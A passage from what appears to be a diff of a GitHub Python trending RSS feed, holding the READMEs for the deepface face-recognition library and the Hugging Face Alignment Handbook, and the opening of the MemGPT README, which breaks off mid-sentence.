href="https://sefiks.com/2020/05/22/fine-tuning-the-threshold-in-face-recognition/">verify</a>. While Deepface handles all these common stages in the background, you don’t need to acquire in-depth knowledge about all the processes behind it. You can just call its verification, find or analysis function with a single line of code.</p> <p><strong>Face Verification</strong> - <a href="https://youtu.be/KRCvkNCOphE"><code>Demo</code></a></p> <p>This function verifies face pairs as same person or different persons. It expects exact image paths as inputs. Passing numpy or base64 encoded images is also welcome. Then, it is going to return a dictionary and you should check just its verified key.</p> <pre><code class="language-python">result = DeepFace.verify(img1_path = "img1.jpg", img2_path = "img2.jpg") </code></pre> <p align="center"><img src="https://raw.githubusercontent.com/serengil/deepface/master/icon/stock-1.jpg" width="95%" height="95%"></p> <p>Verification function can also handle many faces in the face pairs. In this case, the most similar faces will be compared.</p> <p align="center"><img src="https://raw.githubusercontent.com/serengil/deepface/master/icon/verify-many-faces.jpg" width="95%" height="95%"></p> <p><strong>Face recognition</strong> - <a href="https://youtu.be/Hrjp-EStM_s"><code>Demo</code></a></p> <p><a href="https://sefiks.com/2020/05/25/large-scale-face-recognition-for-deep-learning/">Face recognition</a> requires applying face verification many times. Herein, deepface has an out-of-the-box find function to handle this action. It's going to look for the identity of input image in the database path and it will return list of pandas data frame as output. Meanwhile, facial embeddings of the facial database are stored in a pickle file to be searched faster in next time. Result is going to be the size of faces appearing in the source image. Besides, target images in the database can have many faces as well.</p> <pre><code class="language-python">dfs = DeepFace.find(img_path = "img1.jpg", db_path = "C:/workspace/my_db") </code></pre> <p align="center"><img src="https://raw.githubusercontent.com/serengil/deepface/master/icon/stock-6-v2.jpg" width="95%" height="95%"></p> <p><strong>Embeddings</strong></p> <p>Face recognition models basically represent facial images as multi-dimensional vectors. Sometimes, you need those embedding vectors directly. DeepFace comes with a dedicated representation function. Represent function returns a list of embeddings. Result is going to be the size of faces appearing in the image path.</p> <pre><code class="language-python">embedding_objs = DeepFace.represent(img_path = "img.jpg") </code></pre> <p>This function returns an array as embedding. The size of the embedding array would be different based on the model name. For instance, VGG-Face is the default model and it represents facial images as 2622 dimensional vectors.</p> <pre><code class="language-python">embedding = embedding_objs[0]["embedding"] assert isinstance(embedding, list) assert model_name = "VGG-Face" and len(embedding) == 2622 </code></pre> <p>Here, embedding is also <a href="https://sefiks.com/2020/05/01/a-gentle-introduction-to-face-recognition-in-deep-learning/">plotted</a> with 2622 slots horizontally. Each slot is corresponding to a dimension value in the embedding vector and dimension value is explained in the colorbar on the right. Similar to 2D barcodes, vertical dimension stores no information in the illustration.</p> <p align="center"><img src="https://raw.githubusercontent.com/serengil/deepface/master/icon/embedding.jpg" width="95%" height="95%"></p> <p><strong>Face recognition models</strong> - <a href="https://youtu.be/i_MOwvhbLdI"><code>Demo</code></a></p> <p>Deepface is a <strong>hybrid</strong> face recognition package. It currently wraps many <strong>state-of-the-art</strong> face recognition models: <a href="https://sefiks.com/2018/08/06/deep-face-recognition-with-keras/"><code>VGG-Face</code></a> , <a href="https://sefiks.com/2018/09/03/face-recognition-with-facenet-in-keras/"><code>Google FaceNet</code></a>, <a href="https://sefiks.com/2019/07/21/face-recognition-with-openface-in-keras/"><code>OpenFace</code></a>, <a href="https://sefiks.com/2020/02/17/face-recognition-with-facebook-deepface-in-keras/"><code>Facebook DeepFace</code></a>, <a href="https://sefiks.com/2020/06/16/face-recognition-with-deepid-in-keras/"><code>DeepID</code></a>, <a href="https://sefiks.com/2020/12/14/deep-face-recognition-with-arcface-in-keras-and-python/"><code>ArcFace</code></a>, <a href="https://sefiks.com/2020/07/11/face-recognition-with-dlib-in-python/"><code>Dlib</code></a> and <code>SFace</code>. The default configuration uses VGG-Face model.</p> <pre><code class="language-python">models = [ "VGG-Face", "Facenet", "Facenet512", "OpenFace", "DeepFace", "DeepID", "ArcFace", "Dlib", "SFace", ] #face verification result = DeepFace.verify(img1_path = "img1.jpg", img2_path = "img2.jpg", model_name = models[0] ) #face recognition dfs = DeepFace.find(img_path = "img1.jpg", db_path = "C:/workspace/my_db", model_name = models[1] ) #embeddings embedding_objs = DeepFace.represent(img_path = "img.jpg", model_name = models[2] ) </code></pre> <p align="center"><img src="https://raw.githubusercontent.com/serengil/deepface/master/icon/model-portfolio-v8.jpg" width="95%" height="95%"></p> <p>FaceNet, VGG-Face, ArcFace and Dlib are <a href="https://youtu.be/i_MOwvhbLdI">overperforming</a> ones based on experiments. You can find out the scores of those models below on both <a href="https://sefiks.com/2020/08/27/labeled-faces-in-the-wild-for-face-recognition/">Labeled Faces in the Wild</a> and YouTube Faces in the Wild data sets declared by its creators.</p> <table> <thead> <tr> <th>Model</th> <th>LFW Score</th> <th>YTF Score</th> </tr> </thead> <tbody> <tr> <td>Facenet512</td> <td>99.65%</td> <td>-</td> </tr> <tr> <td>SFace</td> <td>99.60%</td> <td>-</td> </tr> <tr> <td>ArcFace</td> <td>99.41%</td> <td>-</td> </tr> <tr> <td>Dlib</td> <td>99.38 %</td> <td>-</td> </tr> <tr> <td>Facenet</td> <td>99.20%</td> <td>-</td> </tr> <tr> <td>VGG-Face</td> <td>98.78%</td> <td>97.40%</td> </tr> <tr> <td><em>Human-beings</em></td> <td><em>97.53%</em></td> <td>-</td> </tr> <tr> <td>OpenFace</td> <td>93.80%</td> <td>-</td> </tr> <tr> <td>DeepID</td> <td>-</td> <td>97.05%</td> </tr> </tbody> </table> <p><strong>Similarity</strong></p> <p>Face recognition models are regular <a href="https://sefiks.com/2018/03/23/convolutional-autoencoder-clustering-images-with-neural-networks/">convolutional neural networks</a> and they are responsible to represent faces as vectors. We expect that a face pair of same person should be <a href="https://sefiks.com/2020/05/22/fine-tuning-the-threshold-in-face-recognition/">more similar</a> than a face pair of different persons.</p> <p>Similarity could be calculated by different metrics such as <a href="https://sefiks.com/2018/08/13/cosine-similarity-in-machine-learning/">Cosine Similarity</a>, Euclidean Distance and L2 form. The default configuration uses cosine similarity.</p> <pre><code class="language-python">metrics = ["cosine", "euclidean", "euclidean_l2"] #face verification result = DeepFace.verify(img1_path = "img1.jpg", img2_path = "img2.jpg", distance_metric = metrics[1] ) #face recognition dfs = DeepFace.find(img_path = "img1.jpg", db_path = "C:/workspace/my_db", distance_metric = metrics[2] ) </code></pre> <p>Euclidean L2 form <a href="https://youtu.be/i_MOwvhbLdI">seems</a> to be more stable than cosine and regular Euclidean distance based on experiments.</p> <p><strong>Facial Attribute Analysis</strong> - <a href="https://youtu.be/GT2UeN85BdA"><code>Demo</code></a></p> <p>Deepface also comes with a strong facial attribute analysis module including <a href="https://sefiks.com/2019/02/13/apparent-age-and-gender-prediction-in-keras/"><code>age</code></a>, <a href="https://sefiks.com/2019/02/13/apparent-age-and-gender-prediction-in-keras/"><code>gender</code></a>, <a href="https://sefiks.com/2018/01/01/facial-expression-recognition-with-keras/"><code>facial expression</code></a> (including angry, fear, neutral, sad, disgust, happy and surprise) and <a href="https://sefiks.com/2019/11/11/race-and-ethnicity-prediction-in-keras/"><code>race</code></a> (including asian, white, middle eastern, indian, latino and black) predictions. Result is going to be the size of faces appearing in the source image.</p> <pre><code class="language-python">objs = DeepFace.analyze(img_path = "img4.jpg", actions = ['age', 'gender', 'race', 'emotion'] ) </code></pre> <p align="center"><img src="https://raw.githubusercontent.com/serengil/deepface/master/icon/stock-2.jpg" width="95%" height="95%"></p> <p>Age model got ± 4.65 MAE; gender model got 97.44% accuracy, 96.29% precision and 95.05% recall as mentioned in its <a href="https://sefiks.com/2019/02/13/apparent-age-and-gender-prediction-in-keras/">tutorial</a>.</p> <p><strong>Face Detectors</strong> - <a href="https://youtu.be/GZ2p2hj2H5k"><code>Demo</code></a></p> <p>Face detection and alignment are important early stages of a modern face recognition pipeline. Experiments show that just alignment increases the face recognition accuracy almost 1%. <a href="https://sefiks.com/2020/02/23/face-alignment-for-face-recognition-in-python-within-opencv/"><code>OpenCV</code></a>, <a href="https://sefiks.com/2020/08/25/deep-face-detection-with-opencv-in-python/"><code>SSD</code></a>, <a href="https://sefiks.com/2020/07/11/face-recognition-with-dlib-in-python/"><code>Dlib</code></a>, <a href="https://sefiks.com/2020/09/09/deep-face-detection-with-mtcnn-in-python/"><code>MTCNN</code></a>, <a href="https://github.com/timesler/facenet-pytorch"><code>Faster MTCNN</code></a>, <a href="https://sefiks.com/2021/04/27/deep-face-detection-with-retinaface-in-python/"><code>RetinaFace</code></a>, <a href="https://sefiks.com/2022/01/14/deep-face-detection-with-mediapipe/"><code>MediaPipe</code></a>, <a href="https://github.com/derronqi/yolov8-face"><code>YOLOv8 Face</code></a> and <a href="https://github.com/ShiqiYu/libfacedetection"><code>YuNet</code></a> detectors are wrapped in deepface.</p> <p align="center"><img src="https://raw.githubusercontent.com/serengil/deepface/master/icon/detector-portfolio-v5.jpg" width="95%" height="95%"></p> <p>All deepface functions accept an optional detector backend input argument. You can switch among those detectors with this argument. OpenCV is the default detector.</p> <pre><code class="language-python">backends = [ 'opencv', 'ssd', 'dlib', 'mtcnn', 'retinaface', 'mediapipe', 'yolov8', 'yunet', 'fastmtcnn', ] #face verification obj = DeepFace.verify(img1_path = "img1.jpg", img2_path = "img2.jpg", detector_backend = backends[0] ) #face recognition dfs = DeepFace.find(img_path = "img.jpg", db_path = "my_db", detector_backend = backends[1] ) #embeddings embedding_objs = DeepFace.represent(img_path = "img.jpg", detector_backend = backends[2] ) #facial analysis demographies = DeepFace.analyze(img_path = "img4.jpg", detector_backend = backends[3] ) #face detection and alignment face_objs = DeepFace.extract_faces(img_path = "img.jpg", target_size = (224, 224), detector_backend = backends[4] ) </code></pre> <p>Face recognition models are actually CNN models and they expect standard sized inputs. So, resizing is required before representation. To avoid deformation, deepface adds black padding pixels according to the target size argument after detection and alignment.</p> <p align="center"><img src="https://raw.githubusercontent.com/serengil/deepface/master/icon/deepface-detectors-v3.jpg" width="90%" height="90%"></p> <p><a href="https://sefiks.com/2021/04/27/deep-face-detection-with-retinaface-in-python/">RetinaFace</a> and <a href="https://sefiks.com/2020/09/09/deep-face-detection-with-mtcnn-in-python/">MTCNN</a> seem to overperform in detection and alignment stages but they are much slower. If the speed of your pipeline is more important, then you should use opencv or ssd. On the other hand, if you consider the accuracy, then you should use retinaface or mtcnn.</p> <p>The performance of RetinaFace is very satisfactory even in the crowd as seen in the following illustration. Besides, it comes with an incredible facial landmark detection performance. Highlighted red points show some facial landmarks such as eyes, nose and mouth. That's why, alignment score of RetinaFace is high as well.</p> <p align="center"><img src="https://raw.githubusercontent.com/serengil/deepface/master/icon/retinaface-results.jpeg" width="90%" height="90%"> <br><em>The Yellow Angels - Fenerbahce Women's Volleyball Team</em> </p> <p>You can find out more about RetinaFace on this <a href="https://github.com/serengil/retinaface">repo</a>.</p> <p><strong>Real Time Analysis</strong> - <a href="https://youtu.be/-c9sSJcx6wI"><code>Demo</code></a></p> <p>You can run deepface for real time videos as well. Stream function will access your webcam and apply both face recognition and facial attribute analysis. The function starts to analyze a frame if it can focus a face sequentially 5 frames. Then, it shows results 5 seconds.</p> <pre><code class="language-python">DeepFace.stream(db_path = "C:/User/Sefik/Desktop/database") </code></pre> <p align="center"><img src="https://raw.githubusercontent.com/serengil/deepface/master/icon/stock-3.jpg" width="90%" height="90%"></p> <p>Even though face recognition is based on one-shot learning, you can use multiple face pictures of a person as well. You should rearrange your directory structure as illustrated below.</p> <pre><code class="language-bash">user ├── database │ ├── Alice │ │ ├── Alice1.jpg │ │ ├── Alice2.jpg │ ├── Bob │ │ ├── Bob.jpg </code></pre> <p><strong>API</strong> - <a href="https://youtu.be/HeKCQ6U9XmI"><code>Demo</code></a></p> <p>DeepFace serves an API as well. You can clone <a href="https://github.com/serengil/deepface/tree/master/api"><code>/api</code></a> folder and run the api via gunicorn server. This will get a rest service up. In this way, you can call deepface from an external system such as mobile app or web.</p> <pre><code class="language-shell">cd scripts ./service.sh </code></pre> <p align="center"><img src="https://raw.githubusercontent.com/serengil/deepface/master/icon/deepface-api.jpg" width="90%" height="90%"></p> <p>Face recognition, facial attribute analysis and vector representation functions are covered in the API. You are expected to call these functions as http post methods. Default service endpoints will be <code>http://localhost:5000/verify</code> for face recognition, <code>http://localhost:5000/analyze</code> for facial attribute analysis, and <code>http://localhost:5000/represent</code> for vector representation. You can pass input images as exact image paths on your environment, base64 encoded strings or images on web. <a href="https://github.com/serengil/deepface/tree/master/api">Here</a>, you can find a postman project to find out how these methods should be called.</p> <p><strong>Dockerized Service</strong></p> <p>You can deploy the deepface api on a kubernetes cluster with docker. The following <a href="https://github.com/serengil/deepface/raw/master/scripts/dockerize.sh">shell script</a> will serve deepface on <code>localhost:5000</code>. You need to re-configure the <a href="https://github.com/serengil/deepface/raw/master/Dockerfile">Dockerfile</a> if you want to change the port. Then, even if you do not have a development environment, you will be able to consume deepface services such as verify and analyze. You can also access the inside of the docker image to run deepface related commands. Please follow the instructions in the <a href="https://github.com/serengil/deepface/raw/master/scripts/dockerize.sh">shell script</a>.</p> <pre><code class="language-shell">cd scripts ./dockerize.sh </code></pre> <p align="center"><img src="https://raw.githubusercontent.com/serengil/deepface/master/icon/deepface-dockerized-v2.jpg" width="50%" height="50%"></p> <p><strong>Command Line Interface</strong></p> <p>DeepFace comes with a command line interface as well. You are able to access its functions in command line as shown below. The command deepface expects the function name as 1st argument and function arguments thereafter.</p> <pre><code class="language-shell">#face verification $ deepface verify -img1_path tests/dataset/img1.jpg -img2_path tests/dataset/img2.jpg #facial analysis $ deepface analyze -img_path tests/dataset/img1.jpg </code></pre> <p>You can also run these commands if you are running deepface with docker. Please follow the instructions in the <a href="https://github.com/serengil/deepface/raw/master/scripts/dockerize.sh#L17">shell script</a>.</p> <h2>Contribution <a href="https://github.com/serengil/deepface/actions/workflows/tests.yml"><img src="https://github.com/serengil/deepface/actions/workflows/tests.yml/badge.svg?sanitize=true" alt="Tests"></a></h2> <p>Pull requests are more than welcome! You should run the unit tests locally by running <a href="https://github.com/serengil/deepface/raw/master/tests/unit_tests.py"><code>test/unit_tests.py</code></a> before creating a PR. Once a PR sent, GitHub test workflow will be run automatically and unit test results will be available in <a href="https://github.com/serengil/deepface/actions">GitHub actions</a> before approval. Besides, workflow will evaluate the code with pylint as well.</p> <h2>Support</h2> <p>There are many ways to support a project - starring⭐️ the GitHub repo is just one 🙏</p> <p>You can also support this work on <a href="https://www.patreon.com/serengil?repo=deepface">Patreon</a> or <a href="https://github.com/sponsors/serengil">GitHub Sponsors</a>.</p> <a href="https://www.patreon.com/serengil?repo=deepface"> <img src="https://raw.githubusercontent.com/serengil/deepface/master/icon/patreon.png" width="30%" height="30%"> </a> <h2>Citation</h2> <p>Please cite deepface in your publications if it helps your research. Here are its BibTex entries:</p> <p>If you use deepface for facial recogntion purposes, please cite the this publication.</p> <pre><code class="language-BibTeX">@inproceedings{serengil2020lightface, title = {LightFace: A Hybrid Deep Face Recognition Framework}, author = {Serengil, Sefik Ilkin and Ozpinar, Alper}, booktitle = {2020 Innovations in Intelligent Systems and Applications Conference (ASYU)}, pages = {23-27}, year = {2020}, doi = {10.1109/ASYU50717.2020.9259802}, url = {https://doi.org/10.1109/ASYU50717.2020.9259802}, organization = {IEEE} } </code></pre> <p>If you use deepface for facial attribute analysis purposes such as age, gender, emotion or ethnicity prediction or face detection purposes, please cite the this publication.</p> <pre><code class="language-BibTeX">@inproceedings{serengil2021lightface, title = {HyperExtended LightFace: A Facial Attribute Analysis Framework}, author = {Serengil, Sefik Ilkin and Ozpinar, Alper}, booktitle = {2021 International Conference on Engineering and Emerging Technologies (ICEET)}, pages = {1-4}, year = {2021}, doi = {10.1109/ICEET53442.2021.9659697}, url = {https://doi.org/10.1109/ICEET53442.2021.9659697}, organization = {IEEE} } </code></pre> <p>Also, if you use deepface in your GitHub projects, please add <code>deepface</code> in the <code>requirements.txt</code>.</p> <h2>Licence</h2> <p>Deepface is licensed under the MIT License - see <a href="https://github.com/serengil/deepface/raw/master/LICENSE"><code>LICENSE</code></a> for more details.</p> + huggingface/alignment-handbook + 2023-10-30T01:34:14Z + tag:github.com,2023-10-30:/huggingface/alignment-handbook + + <p>Robust recipes for to align language models with human and AI preferences</p><hr><h1>The Alignment Handbook</h1> <p>Robust recipes to align language models with human and AI preferences.</p> <h2>What is this?</h2> <p>Just one year ago, chatbots were out of fashion and most people hadn't heard about techniques like Reinforcement Learning from Human Feedback (RLHF) to align language models with human preferences. Then, OpenAI broke the internet with ChatGPT and Meta followed suit by releasing the Llama series of language models which enabled the ML community to build their very own capable chatbots. This has led to a rich ecosystem of datasets and models that have mostly focused on teaching language models to follow instructions through supervised fine-tuning (SFT).</p> <p>However, we know from the <a href="https://huggingface.co/papers/2203.02155">InstructGPT</a> and <a href="https://huggingface.co/papers/2307.09288">Llama2</a> papers that significant gains in helpfulness and safety can be had by augmenting SFT with human (or AI) preferences. At the same time, aligning language models to a set of preferences is a fairly novel idea and there are few public resources available on how to train these models, what data to collect, and what metrics to measure for best downstream performance.</p> <p>The Alignment Handbook aims to fill that gap by providing the community with a series of robust training recipes that span the whole pipeline.</p> <h2>Links 🔗</h2> <ul> <li><a href="https://huggingface.co/collections/HuggingFaceH4/zephyr-7b-6538c6d6d5ddd1cbb1744a66">Zephyr 7B models, datasets, and demos</a></li> </ul> <h2>Contents</h2> <p>The initial release of the handbook will focus on the following techniques:</p> <ul> <li><strong>Supervised fine-tuning:</strong> teach language models to follow instructions and tips on how to collect and curate your own training dataset.</li> <li><strong>Reward modeling:</strong> teach language models to distinguish model responses according to human or AI preferences.</li> <li><strong>Rejection sampling:</strong> a simple, but powerful technique to boost the performance of your SFT model.</li> <li><strong>Direct preference optimisation (DPO):</strong> a powerful and promising alternative to PPO.</li> </ul> <h2>Getting started</h2> <p>To run the code in this project, first create a Python virtual environment using e.g. Conda:</p> <pre><code class="language-shell">conda create -n handbook python=3.10 &amp;&amp; conda activate handbook </code></pre> <p>Next, install PyTorch v2.1.0. Since this hardware-dependent, we direct you to the <a href="https://pytorch.org/get-started/locally/">PyTorch Installation Page</a>.</p> <p>Once PyTorch is installed, you can install the remaining package dependencies as follows:</p> <pre><code class="language-shell">pip install . </code></pre> <p>Next, log into your Hugging Face account as follows:</p> <pre><code class="language-shell">huggingface-cli login </code></pre> <p>Finally, install Git LFS so that you can push models to the Hugging Face Hub:</p> <pre><code class="language-shell">sudo apt-get install git-lfs </code></pre> <h2>Citation</h2> <p>If you find the content of this repo useful in your work, please cite it as follows:</p> <pre><code class="language-bibtex">@misc{alignment_handbook2023, author = {Lewis Tunstall and Edward Beeching and Nathan Lambert and Nazneen Rajani and Alexander M. Rush and Thomas Wolf}, title = {The Alignment Handbook}, year = {2023}, publisher = {GitHub}, journal = {GitHub repository}, howpublished = {\url{https://github.com/huggingface/alignment-handbook}} } </code></pre> \ No newline at end of file diff --git a/python/weekly/index.xml b/python/weekly/index.xml deleted file mode 100644 index 3ee5166dc86..00000000000 --- a/python/weekly/index.xml +++ /dev/null @@ -1,28 +0,0 @@ - - GitHub Python Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:00:02Z - Weekly Trending of Python in GitHub - - - cpacker/MemGPT - 2023-10-29T02:00:02Z - tag:github.com,2023-10-29:/cpacker/MemGPT - - <p>Teaching LLMs memory management for unbounded context 📚🦙</p><hr><p><a href="https://raw.githubusercontent.com/cpacker/MemGPT/main/#user-content-memgpt"><img src="https://memgpt.ai/assets/img/memgpt_logo_circle.png" alt="MemGPT logo" width="75" align="right"></a></p> <h1><a href="https://memgpt.ai">MemGPT</a></h1> <div align="center"> <p><strong>Try out our MemGPT chatbot on <a href="https://discord.gg/9GEQrxmVyE">Discord</a>!</strong></p> <p><strong>⭐ NEW: You can now run MemGPT with <a href="https://github.com/cpacker/MemGPT/discussions/67">local LLMs</a> and <a href="https://github.com/cpacker/MemGPT/discussions/65">AutoGen</a>! ⭐ </strong></p> <p><a href="https://discord.gg/9GEQrxmVyE"><img src="https://img.shields.io/discord/1161736243340640419?label=Discord&amp;logo=discord&amp;logoColor=5865F2&amp;style=flat-square&amp;color=5865F2" alt="Discord"></a> <a href="https://arxiv.org/abs/2310.08560"><img src="https://img.shields.io/badge/arXiv-2310.08560-B31B1B?logo=arxiv&amp;style=flat-square" alt="arXiv 2310.08560"></a></p> </div> <details open> <summary><h2>🤖 Create perpetual chatbots with self-editing memory!</h2></summary> <div align="center"> <br> <img src="https://memgpt.ai/assets/img/demo.gif" alt="MemGPT demo video" width="800"> </div> </details> <details> <summary><h2>🗃️ Chat with your data - talk to your SQL database or your local files!</h2></summary> <strong>SQL Database</strong> <div align="center"> <img src="https://memgpt.ai/assets/img/sql_demo.gif" alt="MemGPT demo video for sql search" width="800"> </div> <strong>Local files</strong> <div align="center"> <img src="https://memgpt.ai/assets/img/preload_archival_demo.gif" alt="MemGPT demo video for sql search" width="800"> </div> </details> <details> <summary><h2>📄 You can also talk to docs - for example ask about <a href="https://raw.githubusercontent.com/cpacker/MemGPT/main/memgpt/personas/examples/docqa">LlamaIndex</a>!</h2></summary> <div align="center"> <img src="https://memgpt.ai/assets/img/docqa_demo.gif" alt="MemGPT demo video for llamaindex api docs search" width="800"> </div> <details> <summary><b>ChatGPT (GPT-4) when asked the same question:</b></summary> <div align="center"> <img src="https://memgpt.ai/assets/img/llama_index_gpt4.png" alt="GPT-4 when asked about llamaindex api docs" width="800"> </div> (Question from https://github.com/run-llama/llama_index/issues/7756) </details> </details> <h2>Quick setup</h2> <p>Join <a href="https://discord.gg/9GEQrxmVyE">Discord</a> and message the MemGPT bot (in the <code>#memgpt</code> channel). Then run the following commands (messaged to "MemGPT Bot"):</p> <ul> <li><code>/profile</code> (to create your profile)</li> <li><code>/key</code> (to enter your OpenAI key)</li> <li><code>/create</code> (to create a MemGPT chatbot)</li> </ul> <p>Make sure your privacy settings on this server are open so that MemGPT Bot can DM you: <br> MemGPT → Privacy Settings → Direct Messages set to ON</p> <div align="center"> <img src="https://memgpt.ai/assets/img/discord/dm_settings.png" alt="set DMs settings on MemGPT server to be open in MemGPT so that MemGPT Bot can message you" width="400"> </div> <p>You can see the full list of available commands when you enter <code>/</code> into the message box.</p> <div align="center"> <img src="https://memgpt.ai/assets/img/discord/slash_commands.png" alt="MemGPT Bot slash commands" width="400"> </div> <h2>What is MemGPT?</h2> <p>Memory-GPT (or MemGPT in short) is a system that intelligently manages different memory tiers in LLMs in order to effectively provide extended context within the LLM's limited context window. For example, MemGPT knows when to push critical information to a vector database and when to retrieve it later in the chat, enabling perpetual conversations. Learn more about MemGPT in our <a href="https://arxiv.org/abs/2310.08560">paper</a>.</p> <h2>Running MemGPT locally</h2> <p>Install MemGPT:</p> <pre><code class="language-sh">pip install pymemgpt </code></pre> <p>To update the package, run</p> <pre><code class="language-sh">pip install pymemgpt -U </code></pre> <p>Add your OpenAI API key to your environment:</p> <pre><code class="language-sh"># on Linux/Mac export OPENAI_API_KEY=YOUR_API_KEY </code></pre> <pre><code class="language-sh"># on Windows set OPENAI_API_KEY=YOUR_API_KEY </code></pre> <pre><code class="language-sh"># on Windows (PowerShell) $Env:OPENAI_API_KEY = "YOUR_API_KEY" </code></pre> <p>To run MemGPT for as a conversation agent in CLI mode, simply run <code>memgpt</code>:</p> <pre><code class="language-sh">memgpt </code></pre> <details> <summary><strong>Debugging command not found</strong></summary> <p>If you get <code>command not found</code> (Linux/MacOS), or a <code>CommandNotFoundException</code> (Windows), the directory where pip installs scripts is not in your PATH. You can either add that directory to your path (<code>pip show pip | grep Scripts</code>) or instead just run:</p> <pre><code class="language-sh">python -m memgpt </code></pre> </details> <details> <summary><strong>Building from source</strong></summary> <p>Clone this repo: <code>git clone https://github.com/cpacker/MemGPT.git</code></p> <p>Using poetry:</p> <ol> <li>Install poetry: <code>pip install poetry</code></li> <li>Run <code>poetry install</code></li> <li>Run <code>poetry run memgpt</code></li> </ol> <p>Using pip:</p> <ol> <li>Run <code>pip install -e .</code></li> <li>Run <code>python3 main.py</code></li> </ol> </details> <p>If you're using Azure OpenAI, set these variables instead:</p> <pre><code class="language-sh"># see https://github.com/openai/openai-python#microsoft-azure-endpoints export AZURE_OPENAI_KEY = ... export AZURE_OPENAI_ENDPOINT = ... export AZURE_OPENAI_VERSION = ... # set the below if you are using deployment ids export AZURE_OPENAI_DEPLOYMENT = ... export AZURE_OPENAI_EMBEDDINGS_DEPLOYMENT = ... # then use the --use_azure_openai flag memgpt --use_azure_openai </code></pre> <p>To create a new starter user or starter persona (that MemGPT gets initialized with), create a new <code>.txt</code> file in <code>~/.memgpt/humans</code> or <code>~/.memgpt/personas</code>, then use the <code>--persona</code> or <code>--human</code> flag when running <code>main.py</code>. For example:</p> <pre><code class="language-sh"># assuming you created a new file ~/.memgpt/humans/me.txt memgpt # Select me.txt during configuration process </code></pre> <p>-- OR --</p> <pre><code class="language-sh"># assuming you created a new file ~/.memgpt/humans/me.txt memgpt --human me.txt </code></pre> <p>You can also specify any of the starter users in <a href="https://raw.githubusercontent.com/cpacker/MemGPT/main/memgpt/humans/examples">/memgpt/humans/examples</a> or any of the starter personas in <a href="https://raw.githubusercontent.com/cpacker/MemGPT/main/memgpt/personas/examples">/memgpt/personas/examples</a>.</p> <h3>GPT-3.5 support</h3> <p>You can run MemGPT with GPT-3.5 as the LLM instead of GPT-4:</p> <pre><code class="language-sh">memgpt # Select gpt-3.5 during configuration process </code></pre> <p>-- OR --</p> <pre><code class="language-sh">memgpt --model gpt-3.5-turbo </code></pre> <p><strong>Note that this is experimental gpt-3.5-turbo support. It's quite buggy compared to gpt-4, but it should be runnable.</strong></p> <p>Please report any bugs you encounter regarding MemGPT running on GPT-3.5 to <a href="https://github.com/cpacker/MemGPT/issues/59">https://github.com/cpacker/MemGPT/issues/59</a>.</p> <h3>Local LLM support</h3> <p>You can run MemGPT with local LLMs too. See <a href="https://raw.githubusercontent.com/cpacker/MemGPT/main/memgpt/local_llm">instructions here</a> and report any bugs/improvements here <a href="https://github.com/cpacker/MemGPT/discussions/67">https://github.com/cpacker/MemGPT/discussions/67</a>.</p> <h3><code>main.py</code> flags</h3> <pre><code class="language-text">--first allows you to send the first message in the chat (by default, MemGPT will send the first message) --debug enables debugging output </code></pre> <details> <summary>Configure via legacy flags</summary> <pre><code class="language-text">--model select which model to use ('gpt-4', 'gpt-3.5-turbo-0613', 'gpt-3.5-turbo') --persona load a specific persona file --human load a specific human file --archival_storage_faiss_path=&lt;ARCHIVAL_STORAGE_FAISS_PATH&gt; load in document database (backed by FAISS index) --archival_storage_files="&lt;ARCHIVAL_STORAGE_FILES_GLOB_PATTERN&gt;" pre-load files into archival memory --archival_storage_files_compute_embeddings="&lt;ARCHIVAL_STORAGE_FILES_GLOB_PATTERN&gt;" pre-load files into archival memory and also compute embeddings for embedding search --archival_storage_sqldb=&lt;SQLDB_PATH&gt; load in SQL database </code></pre> </details> <h3>Interactive CLI commands</h3> <p>These are the commands for the CLI, <strong>not the Discord bot</strong>! The Discord bot has separate commands you can see in Discord by typing <code>/</code>.</p> <p>While using MemGPT via the CLI (not Discord!) you can run various commands:</p> <pre><code class="language-text">// toggle multiline input mode /exit exit the CLI /save save a checkpoint of the current agent/conversation state /load load a saved checkpoint /dump view the current message log (see the contents of main context) /memory print the current contents of agent memory /pop undo the last message in the conversation /heartbeat send a heartbeat system message to the agent /memorywarning send a memory warning system message to the agent </code></pre> <h2>Example applications</h2> <details open> <summary><h3>Use MemGPT to talk to your Database!</h3></summary> <p>MemGPT's archival memory let's you load your database and talk to it! To motivate this use-case, we have included a toy example.</p> <p>Consider the <code>test.db</code> already included in the repository.</p> <table> <thead> <tr> <th>id</th> <th>name</th> <th>age</th> </tr> </thead> <tbody> <tr> <td>1</td> <td>Alice</td> <td>30</td> </tr> <tr> <td>2</td> <td>Bob</td> <td>25</td> </tr> <tr> <td>3</td> <td>Charlie</td> <td>35</td> </tr> </tbody> </table> <p>To talk to this database, run:</p> <pre><code class="language-sh">memgpt --archival_storage_sqldb=memgpt/personas/examples/sqldb/test.db </code></pre> <p>And then you can input the path to your database, and your query.</p> <pre><code class="language-python">Please enter the path to the database. test.db ... Enter your message: How old is Bob? ... 🤖 Bob is 25 years old. </code></pre> </details> <details> <summary><h3>Loading local files into archival memory</h3></summary> MemGPT enables you to chat with your data locally -- this example gives the workflow for loading documents into MemGPT's archival memory. <p>To run our example where you can search over the SEC 10-K filings of Uber, Lyft, and Airbnb,</p> <ol> <li> <p>Download the .txt files from <a href="https://huggingface.co/datasets/MemGPT/example-sec-filings/tree/main">Hugging Face</a> and place them in <code>memgpt/personas/examples/preload_archival</code>.</p> </li> <li> <p>In the root <code>MemGPT</code> directory, run</p> <pre><code class="language-bash">memgpt --archival_storage_files="memgpt/personas/examples/preload_archival/*.txt" --persona=memgpt_doc --human=basic </code></pre> </li> </ol> <p>If you would like to load your own local files into MemGPT's archival memory, run the command above but replace <code>--archival_storage_files="memgpt/personas/examples/preload_archival/*.txt"</code> with your own file glob expression (enclosed in quotes).</p> <h4>Enhance with embeddings search</h4> <p>In the root <code>MemGPT</code> directory, run</p> <pre><code class="language-bash">memgpt main.py --archival_storage_files_compute_embeddings="&lt;GLOB_PATTERN&gt;" --persona=memgpt_doc --human=basic </code></pre> <p>This will generate embeddings, stick them into a FAISS index, and write the index to a directory, and then output:</p> <pre><code> To avoid computing embeddings next time, replace --archival_storage_files_compute_embeddings=&lt;GLOB_PATTERN&gt; with --archival_storage_faiss_path=&lt;DIRECTORY_WITH_EMBEDDINGS&gt; (if your files haven't changed). </code></pre> <p>If you want to reuse these embeddings, run</p> <pre><code class="language-bash">memgpt --archival_storage_faiss_path="&lt;DIRECTORY_WITH_EMBEDDINGS&gt;" --persona=memgpt_doc --human=basic </code></pre> </details> <details> <summary><h3>Talking to LlamaIndex API Docs</h3></summary> <p>MemGPT also enables you to chat with docs -- 